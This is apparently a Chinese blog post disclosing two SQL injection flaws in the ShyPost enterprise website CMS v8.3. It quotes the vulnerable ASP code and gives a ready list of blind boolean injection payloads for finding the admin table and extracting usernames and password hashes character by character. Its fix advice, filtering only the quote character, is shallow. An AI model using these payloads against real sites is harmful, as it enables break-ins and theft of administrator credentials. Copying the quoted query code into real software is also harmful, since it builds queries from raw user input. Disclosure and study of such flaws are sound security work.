为了某些需求,分析下V8.3的版本!

好了 开始吧~!

ShyPost企业网站管理系统 v8.3

漏洞一:sql字符型注入

Aboutus.asp页面

<%Title=Trim(request(“Title”))   //request获取title标题,只是简单过滤了空格。

Set rs = Server.CreateObject(“ADODB.Recordset”)   //创建对象

sql=”select Content from Aboutus where Title=’”&Title&”‘”   //title带入数据库查询

rs.open sql,conn,1,3

%>

具体利用EXP:

‘+and+’1′=’1    //判断是否存在漏洞

‘+and+exists(select+*+from+admin)+and+’1′=’1    //判断是否存在admin表

‘+and+esixts(select+username+from+admin)+and+’1′=’1    //判断是否存在username列

‘+and+exists(select+password+from+admin)and+’1′=’1    //判断是否存在password列

‘+and+(select+top+1+len(username)+from+admin)>4+and+’1′=’1

//判断username字段长度

‘+and+(select+top+1+len(username)+from+admin)=5+and+’1′=’1

密码一般都是16位MD5,所以直接可以用上面那句等于16就可以判断,或者等于32

‘+and+(select+top+1++asc(mid(username,1,1))from+admin)=97+and+’1′=’1  //判断帐号的第一个字母的access码!

好了,基本利用就这样,太麻烦了,难得搞了~! 自己去猜去吧~!

建议修复:过滤’符号就行了~!

漏洞二:sql注入(数字型)

CompHonorBig.asp页面

<!–#include file=”Inc/conn.asp”–>

<%dim id

id=request.QueryString(“id”)%>

<html>

<head>

<title>图片</title>

<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″>

<%

set rs=server.CreateObject(“adodb.recordset”)

rs.open “select * from CompHonor where id=”&id,conn,1,1

%>

就不怎么讲解了,应该能看懂吧~!

ID没过滤就带入数据库查询了,注入产生~!

建议修复:

过滤ID!

PS:就不在分析这系统了,相信就这2个漏洞就够了!